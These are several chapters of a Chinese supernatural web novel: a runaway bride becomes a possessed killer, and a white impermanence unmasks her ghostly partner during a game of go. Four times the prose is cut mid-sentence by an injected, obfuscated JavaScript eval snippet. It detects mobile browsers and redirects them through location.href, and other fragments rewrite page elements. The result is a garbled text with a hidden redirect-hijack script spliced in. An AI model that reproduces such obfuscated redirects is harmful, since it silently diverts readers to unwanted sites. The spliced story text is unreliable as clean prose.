“我倒希望如此。最近的生意也太冷清了。”灵堂说,“钱箱里都见底啦,再过两天连烧火的柴都买不起了。” “……可你好像也不是很担心?” “我已经努力降价促销了,每天还沿着大街来回吆喝两遍,剩下的担心也没用,还是安心接受大司命大人降下的命运吧。”灵堂双手垫在脑后,乐悠悠地说。 又来了。为什么这个人如此相信命运,却又能如此……自由自在? 李绣之感到了某种令她喘不过气的惘然。今早父亲告诉她婚期定在来年开春的时候,她也一时间难以呼吸,感觉到来的不是一个期限,而是一种命运。此时她终于知道这份惘然为何—— 因为她既不自由,也不甘于命运。 李绣之低头思索片刻,将手腕上的一串玛瑙手串摘下来,朝灵堂递去,“这个给你。” 灵堂从躺椅上支起身子,有些疑惑地接过手串,“这是?” “不算什么很贵重的东西,不过把它当了,还是足够过冬的柴火钱的。” 李绣之知道这不是出于什么善心。这与其说“赠予”,她更把它当成“施舍”。能施舍给巫女一些东西,让她暗暗有一种占于上风的满足。 “那我就收下了。”灵堂也不推辞,高兴地说,“不过我可不会把它当掉的,这是朋友赠给我的礼物,我会好好收着的。” “朋友?”李绣之一愣。 “对啊。”灵堂又一骨碌躺回了躺椅上,“一起上山摘过花、下河捉过鱼,这还不算朋友么?” 又是数月,时节如流。 “咦,李小姐?你怎么这个时候来了?” 如今已经开春,灵堂总算没有在冬天因为缺钱买不起柴火冻死。这天晚上闭了店,她正坐在屋里扎着纸人,忽然有人敲门。她以为是什么有急事的客人,打开门一看,竟然是脸色苍白的李绣之。 这实在是意料之外。这个时辰了,就算是再宽容的爹娘,大概也不会放女儿单独出府;而自从灵堂上次告诫李绣之最好不要出门后,不知是大小姐听从了一点了劝告,还是为了准备婚礼,来找巫女的次数也减少些许,变为了十天半个月才出现一次。更何况—— “我记得,后天你就要出嫁了吧?”灵堂挠了挠头。 “……嗯,我后天就要出嫁了。”李绣之重复道。她平复着气息,像是根本没有坐马车,而是自己一路走过来的。 灵堂把她让进屋里,关上门,“我还以为是对面突然悔婚了,你来找我诅咒对面呢。顺带一提,下诅咒的价钱是三十两银子起步。” 屋里没有多余的椅子,李绣之慢慢坐在了床沿,微微苦笑一下,“若真是悔婚了也不错。” 灵堂也重新在椅子上坐下,继续动手扎起纸人来,“你不想嫁人吧?可是为什么,对面应该也是户好人家吧。” “我要许配给的那户人家不在江州,族中很是讲究礼仪规矩。在旁人眼里,李家大小姐端庄贤淑,两家应当十分相配。”李绣之顿了顿,“可是我一想到嫁去那里后只能日复一日坐在府中,就觉得……” 喉间涌上许多绝不适合大小姐说出口的阴损词句,李绣之轻轻咬了咬牙,咽下后半句话。她垂下眼帘,感到心头掠过一阵萧疏的寒风,最终化作唇齿间长长叹出的一口气:“灵堂姑娘,若你终生被困在一方院子里,你会如何是好?” “这我倒是想不太出来,毕竟我们巫女是不会嫁人的。”灵堂头也不回,烛火的光芒在她暗红的长发上跳荡,像是她清脆跳跃的语气,“如果真有那么一天,也只是大司命大人的安排罢了。” “等我出嫁以后,你就见不到我了。”李绣之语气满是失落,心中却怀着一丝狠意,想看看巫女是否也会有遗憾和挽留之情。 “虽然见不到面,但也能共看一轮明月啊。”灵堂说,“我会为你向大司命大人祈福的。” 良久之后,李绣之开口。 “……其实我讨厌你。” 她一字一句地说。 一刹那,她觉得长久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463757|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以来郁结于心的感情忽然迸发开来,仿佛控制着她吐出了这句话。一直以来日积月累的羡慕、嫉妒还有憎恨,犹如恶鬼一般磨好了爪牙,终于撕毁了她规训下温婉的那层皮囊。 灵堂终于转过头来。那副面具注视着她,上面依然是微笑的纹路,从不因外界改变。 “我不想出嫁!我宁愿下一道诅咒!可是我该去诅咒谁?谁都没有犯错,除了我谁都很满意这桩婚事,我该诅咒你所谓的命运吗?其实那支签当初说得对,我不该再出门,不该来找你,如果没有跟你一起上山摘花、下水捉鱼,如果没有经历过这些,也许我就可以忍受从此以后闭门不出,也许我就不会这么痛苦了!” 这几个月来她屡屡来找灵堂,就像是飞蛾被火光吸引,不由自主地要接近明亮之处。她接近巫女,贪图和眷恋那份自由,可是越是接近,她就越是被灼伤。 因为那份自由永远不可能属于她。 “我明白。”灵堂毫不低沉,轻快地说,“我不生气,你还有什么话都说出来吧。” 李绣之在她的怡悦中感到无力。 说来今夜她究竟为什么会偷跑出来,只是为了发泄怒火么?她是想来向灵堂求助么?可是就算她能不出嫁,甚至一辈子都不再嫁人,她能得到自由么?就算她逃出府中,在艰难生计的压迫下能够自由么? 天大地大,对人而言无处不是囚笼。 也许连高居帝都朝堂的天子重臣也被权力所束缚,但那些人甘于被束缚,可是李绣之太贪婪,她不甘愿。 所以她不能不妒恨灵堂。唯独连神灵都没有拘束住这个巫女,而是庇护她免受世间一切的困扰。 “我没有话要说了。”李绣之站起身,最后礼数周全地屈膝一礼,“深夜打扰实在冒昧,小女子告辞了。” 两天后江州城传遍了一则新闻——城南李家的大小姐出嫁,结果送亲队伍在城外小道上竟遭遇了悍匪,新娘子不知所踪。 今日分明是测定的吉日,空中却下着疏落的雨,天地晦暗。也正是在昏暗天色的遮掩下,李绣之才侥幸逃脱。 ……又或许,是因为巫女向神灵的祈福,她才能够逃走。李绣之这样想着,不由笑出声来。 如今她想笑就笑,想哭就哭,再没有人监督她。她一个人漫步在茫茫的荒原上,身上华美的嫁衣在树丛中刮破了,沾满了雨和泥,显得十分狼狈。 可是李绣之觉得很畅快。十七年来她难得有如此痛快的时候。 也许是她疯了,也许是她终于得到了……“自由”。 她从没出过城,阴雨中的原野根本辨不清方向,但她也没想着要回江州城。 李绣之就这样欢欣地走着,忽然觉得肩上一重,雨水的凉意中又多了一缕幽幽的寒意,那是某种非人之物的气息。疏雨荒草,徘徊的鬼魂被生人的温热所诱引。 “跟着我吧。”李绣之轻声说。 “你也跟着我吧!”她忽然放声大笑起来,仿佛十几年间压抑的笑声都冲出了她的喉口,几乎要割裂雨幕,“我带你去很远很远的地方!” 那阵寒意缓缓渗入她的身体,可李绣之并没有觉得冷,仿佛胸中那团燃烧的恨火始终温暖着她。她笑着唱歌,调子七零八落,脸上淌满了冰冷的水滴。 李家大小姐就此失踪了。而从此的十年,在大奉的各境,某些地方偶尔流传出红衣杀人鬼的传言。 25. 会者定离(一) 盛情难却睁开眼。 窗外的天光还很明亮,从半开的窗户望出去,太阳却已经西斜。但即使不看天色,白无常也能清楚感知到现在的时间。 “初九了。”她喃喃自语,坐起来抚了抚腹部的伤口,伤口已然愈合,身上那种虚弱的感觉也消失了。凭无常的恢复能力,这种伤势她估计睡一两天就能全好,现在还不算太迟。 “啊……盛姑娘,你醒了!”响起一个有些弱弱的、却又透着惊喜的声音。原本趴在旁边桌子上犯困的青衣少年转过身来。 盛情难却环顾客栈房间,发现门柱和房间四角都贴着黄纸符箓,“贴的这些符是什么?” “那个黑无常让我照看盛姑娘,说是照看,不过盛姑娘的伤自己就会好,所以只是让我提防杀人鬼而已。但我也不知道盛姑娘过多久才会醒转,如果要不舍昼夜地照看实在做不到。”木明瑟声调一转得意,“所以我就用符把这间房间封起来了。这些都是护宅驱邪的符箓,别说我睡着了,就算我死了,这里也没有妖魔鬼祟能进得来!” “占了你的床,抱歉。”盛情难却淡淡地说。 “这有什么,我在山上的时候经常找块干净的地方就能躺下,总不能让伤患躺在椅子上吧。”木明瑟连连摆手。 “春生秋杀呢?” “他把盛姑娘送到这里之后,就拿着寻路纸鹤走了,说要去找那个杀人鬼报仇。” “报仇?”盛情难却看向地上还在运转的术阵,“那就随他去,这个阵两天之内不要拆掉。” 木明瑟点点头,又好奇道:“那个红衣女鬼真这么厉害?” “其实她不是鬼,只是鬼上身的人,不过也算厉害了。一般鬼上身是厉鬼附身了人,可是她不一样,是反过来操控了厉鬼。”盛情难却解释道。按她往常的性子是不愿费这么多口舌的,不过现在她流露出非同寻常的耐心。 “这样么?这种情况还真少见……”身为术师,木明瑟对鬼上身也颇有了解,“莫非她的怨气比鬼还要重?” “人心中要生怨是很简单的。我当无常这些年,见过街边的屠夫为了一次口角动刀杀人,姐姐为了一针一线的纷争毒死亲妹妹,可见一点小怨就抵一条人命。”盛情难却面无表情地从床边站起身。 见她似乎要走,木明瑟急忙道:“盛姑娘,我还有个问题,不知道你是否知道。” 盛情难却预感到这不是什么简单的问题,她站定不动,无声地示意木明瑟继续说。 “因为我没有见过那位李姑娘,她虽然是江州人氏,不过如今还算是么?” 盛情难却心里微微一震。没想到木明瑟跟她注意到了同一个问题。 “她已经不是当年的李绣之了,又在外漂泊多年,应当不算江州本地人。”她答。 “到现在为止,我们见过在城中尚能活动的,都身非常人。而且,都不属于江州这片土地。”木明瑟说,“其中只有一个……不是外来的。” 盛情难却古井无波地夸赞:“你看着呆,实际上还挺聪明的。” “我看着不聪明么?”木明瑟呆呆地说。 少女微笑起来,“你是想说春生秋杀吧。他自称是隶属管辖江州的无常,却依然行动自如。不过单凭这点怀疑他恐怕并不成立,毕竟无常说到底是从地府来的,而且本身也是‘无生无死’的东西,未必会被江州城的异状困住。” 木明瑟沉思片刻,往桌子上一趴,还是一副懒洋洋提不起劲的模样,“盛姑娘,你不怀疑他么?” 盛情难却反问:“你很少叫他的名讳,是因为你不相信他的身份么?” “虽然我看不出他有什么问题,不过总是直觉他身上的气息让我不太喜欢。”木明瑟坦言。 “那我呢?” 木明瑟一愣,“我并不怀疑盛姑娘啊。” 很诚恳也很公允的回答,她不是恶人,但也不算什么好人,目前而言只是一个尽职尽责的无常而已。 盛情难却用引魂幡轻轻敲了敲他的头,“我有事要出去,别跟来。” “等——” 话未说完,白无常已经不见了踪影。 盛情难却并没有去什么特别的地方,她沿着大街走了一阵,便随意地拐进了一条无人的小巷。 “出来吧,你应该就在旁边。”她语调没有起伏,平板板一句话掷在空气中。 上方很快有人回她的话,“要是吾辈不出来呢?” 盛情难却抬头望去,灰发青年笑眯眯地坐在屋脊上。见他没有要下来的意思,她便也飘了上去,但并没有坐下,站在一段距离外居高临下地看他,“那我就大喊你的名讳,喊遍整座江州城。” “这是开玩笑么?”春生秋杀挑眉,“如果是真的,那吾辈就要后悔现身这么快了。” “是开玩笑。”盛情难却淡然道,“就算是真的又有什么意义,反正这个名讳也是你编造出来的。” 春生秋杀不置可否地笑了笑,“伤已经好了么?” “全好了,不劳担心。”盛情难却不为所动。 “那就来陪吾辈下盘棋吧!”春生秋杀拍了拍手,仿佛察觉不到盛情难却刻意的疏远,“吾辈很喜欢下棋。” “我不会下棋。”盛情难却道。 “你会的。”他轻描淡写地说,一挥袖,摆出了棋盘和两盏棋。 盛情难却无言以对,拿这个人的熟稔自如没有办法,走过去坐在棋盘对面。棋盘和棋盏架在狭窄的屋脊上,但是并不摇晃,不过本来就是幻化出来的虚像。 “吾辈的棋艺比你好,盛情你就执黑先走吧。”春生秋杀很是客气地说。 “你怎知我下棋不如你。”盛情难却冷冷地说,捏起一枚黑子放在棋盘一角。 她的确会下棋,应该是生前学会的,不过并不精通,仅仅知道一些基础的技法。 “并非吾辈自夸,在棋盘上能赢过吾辈的人不多,除非盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481086|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情你是棋中国手,否则棋力想来是要逊于吾辈的。”春生秋杀也捻起一颗白子,随手置于棋盘上。 “现在不是你下棋的时候吧。”盛情难却并不思索,落下一子。她并未用心在棋局上,反正照春生秋杀所说,自己在棋上总归是赢不过他的。 “嗯?盛情你的意思莫非是找到异状的幕后之人了么?”春生秋杀对答如流,手中落子如飞。 “不是这个意思。你不是拿了纸鹤要去找李绣之报仇么?”盛情难却尝试围杀两颗脱节的白子。 “不着急呀,俗话说君子报仇,十年不晚。”白子反过来断了黑子。那两颗子原来是布局下的陷阱。 “可是你既不是君子,也等不了十年。”盛情难却并不在意棋盘上的得失,她捻起一枚黑子,垂眸盯着棋盘,像是在思索下一步该怎么走,嘴里缓缓地说,“我一直在想一件事。” “哦?”春生秋杀配合地发出疑问的声音。 “诸无死的时候我们正在山上,那他究竟是什么时候死的?是初三,初四,还是初五?我猜是诸无是初四死的,而松枝是初七死的,也就是说每三天就要死一个‘人’。而且初四的下午、初七的早上,我都没有见到你。”盛情难却终于落下了那颗棋子,她的声音也随着棋子碰撞的响声落了下来,“是你杀了他们吧。而要到三月十日你才会动手杀下一个人,所以你明日才会去找李绣之‘报仇’。” 春生秋杀蹙起眉毛,露出被冤枉后有点惊讶、又很是委屈的无辜表情,“咦?就凭这些就猜忌吾辈是凶手么?” 两人的对话波涛暗涌,而棋局仍然在静静进行着。春生秋杀手里已经攥了一把吃掉的黑子。 “的确不止如此。”盛情难却平稳地落下一颗棋,吃掉了一枚白子,黑子开始往棋盘中腹行进,“前日你见到我倒下的时候很是慌张,但无常见到搭档受伤甚至濒死的时候都不会如此惊慌失措,遑论是连业绩都已经完成的无常‘前辈’,因为无常根本是不会死的。而你的惊慌——分明是在担心,我、会、死。” 她不容春生秋杀插话,一字一顿地说,“没错,无常在江州的异境里的确会死,我的搭档在初一那天就死了,但我从来没向你提过此事,而你提起你的搭档也只是说她失踪。那么你究竟为什么会知道无常会死一事,又为什么故意隐瞒不提?因为……” “就是你杀死了我的搭档。”她紧跟在春生秋杀之后又落下一子,声调自始至终都像玉石碰撞一般单调空洞。 “唉,一日不见,盛情你就这么咄咄逼人地质问吾辈,枉吾辈这么牵念挂心你啊。”春生秋杀自嘲似的说。 “你牵念挂心我,怎么我醒来的时候没有看见你?”盛情难却漠然道,“不过想来那个房间你也进不去吧,因为妖魔鬼祟不得入此间。” 她的视线终于从棋盘上移开,漆黑的眼瞳直直盯着春生秋杀,“这回我猜对了么,杀死诸无、松枝,还有天衣无缝的,真正的杀人鬼。” 26. 会者定离(二) “既然吾辈也说过猜对就告诉你,那就没办法了。”春生秋杀回答得堪称心有灵犀,他弯起嘴角,任谁来看都是真心的恭喜之情,“答对了,那些人都是吾辈杀的。” 他语气很平和,没有冷嘲热讽的意思,甚至有些温柔。他的身侧夕阳正在冉冉落下,破碎的云彩攫取了最后的晖光,艳丽得夺目,半面天空仿佛血水横流。灰发青年的身影在天穹下显得虚幻,然而在缓缓下沉的万尺云霞中,唯有他不曾随风散去。 一刹那,盛情难却忽然有一种奇怪的感觉——就好像这样美丽的晚霞已经日复一日地消散了无数遍,他却永远不会消失。 这真是个奇怪的念头。天地间沧海桑田,只有她眼前的人永远存在。 盛情难却几乎打了个寒噤,又感觉到了那种接近心跳的悸动。一股无名的冲动涌遍了她的全身。她鲜少有这么强烈的感情,是杀意么?人心易生怨,她又是因为什么怨恨,旷日持久地对这个人心怀杀意呢? 春生秋杀从棋盏中拾起一枚棋子,再度落在棋盘上,“其实吾辈也一直有一个问题。如果有朝一日你找到凶手,你会杀了他来为你搭档报仇么?” “就算你没有杀他,我也要杀了你。”盛情难却无情地回答。 “哈哈,知道你想要杀吾辈啦,不过吾辈要问的不是这个意思。”春生秋杀歪了歪脑袋,这个有点卖乖的动作他做起来格外讨喜,“吾辈只是想知道,盛情你有多看重你搭档。” “我上次已经说过了,同事而已。如果你非要问的话,我还不至于为了他杀不能杀的人,但是如果我去死可以救回他,那么我会去死。”盛情难却直言不讳。她不明白春生秋杀为什么好像很执着于这个问题。 “这么容易就会选择死去啊……” 这分明是一句感喟而非疑问,但盛情难却还是一板一眼地回答:“我没有什么要追求的东西——能让我非得活着不可。” 存活于世对她来说没有特殊的意义,她几乎脱口而出这句话,然而一瞬间她察觉到了某种违和。 ……有,其实是有的。她现在之所以还作为无常存在,没有抛弃此世迈入轮回,是因为她还有一个执念,莫名其妙不可思议至极,却又至今牢不可破。 她是为了杀了他而活着的么? 为什么自己会对活着一事感到茫然,为什么自己会和这个人结下唯一不曾遗忘的羁绊?盛情难却默默地出神了。然而在她成为无常的那一刻,关于前世的记忆已经被地府洗刷一空。无论她怎么回忆,过往都是一片空白。 可是这个执念如此强烈地驱策着她,照理说并不会只留下“杀了某个人”这个模糊的念头才对。盛情难却意识到那片空白仿佛是一个禁令,一旦打破,她或许会坠入某种疯狂之中。 “是吗……”春生秋杀只是笑了笑,他的笑容像是潋滟的水光,涟漪之下映出的东西都模糊了,“不过反正你的搭档已经死了,跟死去的人没什么可计较的。” “但是那天你为什么要杀他?”盛情难却冷冷地问,“若你一次只杀一人,那天你已经杀了一只红衣女鬼了,为什么会再动手?” “盛情你还真是细心啊。”春生秋杀单手撑着下巴,露出思索的神情,“其实本来吾辈也没想动手的。不过吾辈发现了,我们刚刚见面的时候,那个叫天衣无缝的黑无常就发现吾辈是假冒的身份了。你的搭档还挺厉害的呢,吾辈一般是很少会被无常觉察的。总之为了避免被你的搭档杀掉,吾辈只能先下手为强了。” 他悠悠地说完,忽然敲下一枚白子,笑得很是开心,“征子有利!盛情,你的‘羊头’被扭住了哦。” 盛情难却低头看向棋局。一簇黑子两翼被白子包抄,只剩下了一口气。她知道这种俗称为“扭羊头”的征子技巧,若被包围的棋子不愿被吃,便只能沿着唯一一口气走下去,而另一方的棋子也会随之步步紧逼,如同扭住羊角遏止猎物左右奔逃。如果两方都不愿放弃,半途又无变数,两方棋路就会一直延伸纠缠下去。直至被包围的一方棋最终触及棋盘边缘,无路可逃,最后一口气也到了尽时,此前的挣扎就会迎来全军覆没。 所以当对方征子有利时,最好的办法就是止损,不去管那片注定被吃的棋子。盛情难却手搭在棋盏上,却没有再拿棋。盘面上白子星罗棋布,显然已经占了大势,几乎是稳赢的局面。她不想再陪春生秋杀玩这种游戏,直接推开棋盏站起身来。 “你究竟是什么东西?”白无常的声音回荡在风中,语调还是一条直线,但比平常更加紧绷,“你不是无常,但很了解无常。” “这句话盛情你也是第二次说了。因为不了解无常的话,就会被你们抓住啊,吾辈还不想死呢。”春生秋杀松开手,攥着的那一把棋子如同尘沙一样零落消失,“吾辈了解无常,其实无常也应该知道吾辈吧,毕竟吾辈的名字就在生死簿的第一页上。” 生死簿的首页……都是长期逃匿人间、被地府追缉超过十年的恶鬼!这些鬼的名字都用朱红色特别标注,因而又被称作红名厉鬼。一般的鬼魂诞生不出数日就会被辖区的无常捕杀,而红名鬼能遁藏经年,其狡诈和凶残都远非普通恶鬼可比。 不管春生秋杀说的是不是真的,盛情难却心中霎时警铃大作,不动声色地往后退去。红名鬼都极为危险,而她不擅长近身战,必须先远离春生秋杀身边。 两人的身影渐渐拉远,夕阳在两人中间缓缓沉没,赤红的积云越发红得浓重,像是在一池靛蓝的深水底下燃烧的火焰。 灰发青年没有侧头观赏这番每时每刻都在逝去的景色,他微微仰头看向盛情难却,弯弯的浅色睫羽下,殷红的眼瞳仿佛是绮艳的霞光在其中阴燃殆尽,留下黏稠的尸骸和一点余温。这一点温度几乎让人错觉为温暖,可实际上远不是这么温柔的东西。 “杀人鬼杀人鬼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493184|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吾辈自然就是鬼咯。” 像是闲聊时抖出一个包袱一般,春生秋杀竖起一根手指,笑吟吟地说。 “但鬼通常都是丧失神智、只凭怨气和嗜杀的冲动行动的。”盛情难却平静地说,听不出她是质疑还是询问。 春生秋杀是鬼,可以说在情理之中,却又在她的意料之外。死后有恶念不散,生为鬼。鬼自恶念而生,也囿于恶念,就算能短暂地伪装成人,它们的理智也是相当有限的。例如水鬼会执着地拉着人去河边,饿死鬼会反复向人哭诉饥饿。一般的怨鬼厉鬼根本没有沟通的能力,盛情难却甚至也曾碰见过一只红名鬼,其诡诈也不过是像野兽一样生自本能。 可是春生秋杀太像“人”了。他能装作无常,聪慧通人意,甚至表现出来的性子到现在为止都相当开朗亲和,也从未见过他丧心病狂的时候。盛情难却猜测过他可能是妖怪或者人,却未曾想过他会是无常一贯以为敌的鬼。 “鬼和无常一样,都是由于执念而存在的。也许是吾辈的执念很特别吧。”春生秋杀也站了起来,脚边的棋盘随之消失,似乎他也明白这局棋暂时难以继续了,“而且,说吾辈嗜杀,也没错啊。” 他微笑着摊开手,口吻平常得像是在介绍自己一个普通的爱好。 “所以你每三日就要杀人,是因为鬼的本性。”盛情难却微微眯起眼睛。 “没错,严格来说也不一定要是人,只是每隔一段时间都要杀死一些什么,活人、妖精、僵尸……或者无常,都可以。不过踩死一只虫子什么的可就不算了。现在江州城里那些不会动的人也不行,把他们切成两半就像切肉一样,比起杀人更像做菜啊。”春生秋杀一本正经地解释,“这就是鬼的本性,必须要进行杀戮,否则吾辈抑制不住这种本性,神志崩溃,就会像盛情你说的那样,变成只凭冲动行事的厉鬼了。” “你很在意要维持现在这个样子。”盛情难却也微微歪头,打量这个看似跟普通人没什么区别的鬼。 “吾辈绝对不会变成那种不知自己身为何物的东西。”春生秋杀出乎意料地下了断语,然后半开玩笑道,“而且万一吾辈变成了那种恶鬼,四处游荡大开杀戒,对你们来说反而更麻烦吧。如果真有那么一天,盛情你就不要留情地杀掉吾辈好了。” “如果我能活到那个时候。”盛情难却面不改色道,“我能活到今天,应该要庆幸你没有选择我在前几日杀死。” “这不是什么需要庆幸的事啊。”春生秋杀说。夕阳已经彻底沉了下去,他方才被染得退红的发色逐渐转为浅灰,在朦胧的暮色中显得柔软,“倒不如说正好相反,就像前日,吾辈其实很担心你,不想要盛情你受伤的。说要去找李绣之报仇,也不仅仅是个由头,她伤了你,吾辈的确想让她偿命。” “不到万不得已,在最后的时刻之前,吾辈是不会动手杀你的。”他很轻、很认真地说,“那么……你呢?” 27. 会者定离(三) 披着白麻布斗篷的少女兜帽低垂,一时间没有应声。 于情于理,无论出于她的私心还是无常的职责,她都该杀了春生秋杀。可是如果他们生前就认识,那么如今她当了近百年的无常,春生秋杀只怕也当了百年的厉鬼。若是天衣无缝还在,黑白无常联手,或许还能制伏这只红名鬼;但她现在孑然一身,想杀了他似乎难如登天。 “你才是狸猫,我们都是被你掠夺的猎物。”盛情难却语调平平地开口。 “其实吾辈没有想要掠夺什么,只是想要活下去而已。可是想要活下去,就得不断掠夺啊。”春生秋杀轻轻叹了口气,但叹息中没有哀伤,只有一点事出无奈的意思。他微微一动,似乎想走近盛情难却,但身子刚一前倾便止住了。 他露出一点惊讶的表情,没有再往前走,却也没有后退,静静地站在原地。他从斗篷里滑落出的一缕头发垂在空中,却像是在半空被什么东西截住,后半段不自然地弯曲着,仿佛一缕垂落的水流遇上横生的树枝,半道折出一个优美的弧度。 一根极细的丝线正贴着他的喉咙。方才他如果直接朝盛情难却冲过来,也许整具身体都会被切得四分五裂。白无常悄无声息地在两人之间设下了重重丝线。 这种刀刃般的细丝跟束缚用的丝网不同,需要花费时间布置,而且需要对方疏于防备,平时并不常用——说来白无常本来也并不专司战斗。不过刚刚春生秋杀毫无警惕地谈天说地,盛情难却才乘此时机设下了这个陷阱。 她也没怎么指望能用这些丝线直接除掉春生秋杀,只是为了防止他突然暴起而作的戒备。 春生秋杀垂眸扫视着面前这些近乎无形的细丝,很是大度地笑了笑,“盛情你还是想杀吾辈啊。好啊,吾辈就站在这里不动,也不会还手,随便你想怎么动手都可以。” 灰发青年轻快地说罢,果真安静地袖手不动,任由细丝紧贴着他的脖颈。 盛情难却盯着他笑眯眯的脸。对方似乎只觉得这是个好玩的游戏,仿佛跟亲熟的人打了个赌,有点好奇有点饶有兴趣地等待着结果,同时也很自信自己不会输。 他是在虚张声势,还是一个诱骗的诡计?盛情难却没有把握,但这的确是一个绝佳的机会。她缓缓扯动丝线,细丝在春生秋杀的脖颈上割开了一个小口,没有血液涌出来,仿佛是切入了一截枯木。 对于这个试探般的举动,春生秋杀没有任何反应,非常信守他不动也不还手的承诺。 而盛情难却停手了。她忽然有些迷茫,因为其实她根本不需要试探,面对极端危险的红名厉鬼,她就应该以最快最干脆利落的动作割断他的脖子。她是在害怕激怒他么?是担心断了头也杀不死这个恶鬼么?是警觉可能踏入的陷阱么? ……她不是这么瞻前顾后的人。她的犹豫只是出于抗拒。她不想杀死他。 盛情难却蓦然觉得自己长久以来的一腔杀意都好似空穴来风。这分明是她念念不忘的执念,可这个执念绝非是因为仇恨。她并不恨春生秋杀。以她那点稀薄的感情,要恨一个人也着实是一件困难的事。 她不由想起了当初天衣无缝的话——也许她彻头彻尾就错了,令她成为无常的那个执念,根本就不是杀了眼前这个人。 盛情难却直视着春生秋杀开口:“你知道我为什么想要杀你么?” 这句话的含义似乎与一般的情境颠倒了。通常是被杀的人不明白被杀的理由,而现在竟然是杀人的一方向被杀者询问杀人的原因。 “这个嘛……吾辈自然是知道的。”春生秋杀很爽快地回答,“但是现在吾辈还不想告诉你。因为……总觉得这是很重要的一颗棋,一旦落下,棋局就要开始收官了。而现在还不是落下那颗棋的时候,所以这件事就留待以后再说吧。盛情你也不必担忧,吾辈没有在策划什么阴谋,只是觉得现在还不到非要分出胜负的时刻罢了。” 他的语气不可谓不真诚,但无论他说的是真是假,显然他现在并不打算把背后的前尘往事坦诚布公。而且他有意无意还有着弦外之音——他不认为盛情难却现在就会杀掉他。 这种自信近乎于挑衅,但由春生秋杀说出口却好像无伤大雅,只像是在讨论一件水到渠成的事。盛情难却没办法反击这一点——她确实下不了手。她伸手拢了拢兜帽,忽然察觉自己的眉头正微微蹙着,浮现出一丝怒意。 天光渐渐黑下来,夜色席卷而来,像是要吞没立在屋脊上一黑一白两道身影。 “盛情你不动手,莫非是想卖吾辈一个人情么?”春生秋杀终于又开口了,语气明朗,仿佛是为了缓和沉凝的气氛,同时也宣告他赢下了这一局,“虽然吾辈也不会真的心甘情愿被杀掉——” 他慢慢抬起一只手,轻轻地搭在了那根丝线上。 他原本就瘦弱的身影在夜色下显得更加单薄,那只苍白的手伶仃得几乎像几根白骨。 他忽然用力一挥手,盛情难却感应到两人之间的细丝在刹那被尽数扯断! 丝线锋利,照理说触及丝线者越是用力,伤及自身就会越深。然而春生秋杀露在袍袖外的那只手依然完好无损——只是那已经不是手了,是一只嶙峋的骨爪! 果然他根本不需要什么武器,勾魂链对他来说更是累赘,用这双手他就足够轻易地杀人!盛情难却猛然想起李绣之离去时留下那半句古怪的话,当时与李绣之交手,仓皇中春生秋杀直接用手挡开了攻击,那时李绣之就识破了他的真身。 森森的鬼气如同冰凉的潮水,一瞬间就推到了白无常面前! 盛情难却心中还在思考,动作却没有迟疑,飘扬的引魂幡几乎同时拂开了冲来的鬼气,而白幡也急速延展开去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503321|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同在水中搅起的巨大漩涡,层层幡布转眼捆住了春生秋杀。这种捆缚并不致命,但能够限制对方的行动拖延时间。 然而不过几息之后,裂帛的声音缓缓响起,白色的幡布犹如被风吹开,一片片剥落飞扬开来,像是被撕碎的纸片。 看着散落的残片,连盛情难却都惊得一怔。从前勾魂索鬼时,她一旦捆住厉鬼,绝大多数情况都是黑无常紧接着一击毙命,极偶尔会有能力殊异的鬼逃脱,但能直接撕裂引魂幡的从未有过。引魂幡实质上是地府的法器,天性就对鬼魂有着压制。当幡布捆住鬼魂时,会比用绳索捆住凡人更难挣脱。因为白幡束缚的是“魂”,要想破开束缚,除了要极为郁烈的鬼气,还要极强的意志。 无常的能力强弱与前世羁绊有关,盛情难却的执念虽然模糊,但毕竟还留下了记忆,已经胜过了不少同僚,在司文职的白无常中已经算是数一数二的了。然而以她的能力和百年的经验,对付春生秋杀却根本无异于以卵投石。 当时与李绣之一战,在盛情难却眼皮子底下,春生秋杀为了掩藏鬼的面目想必十分束手束脚,而如今他再无顾忌。 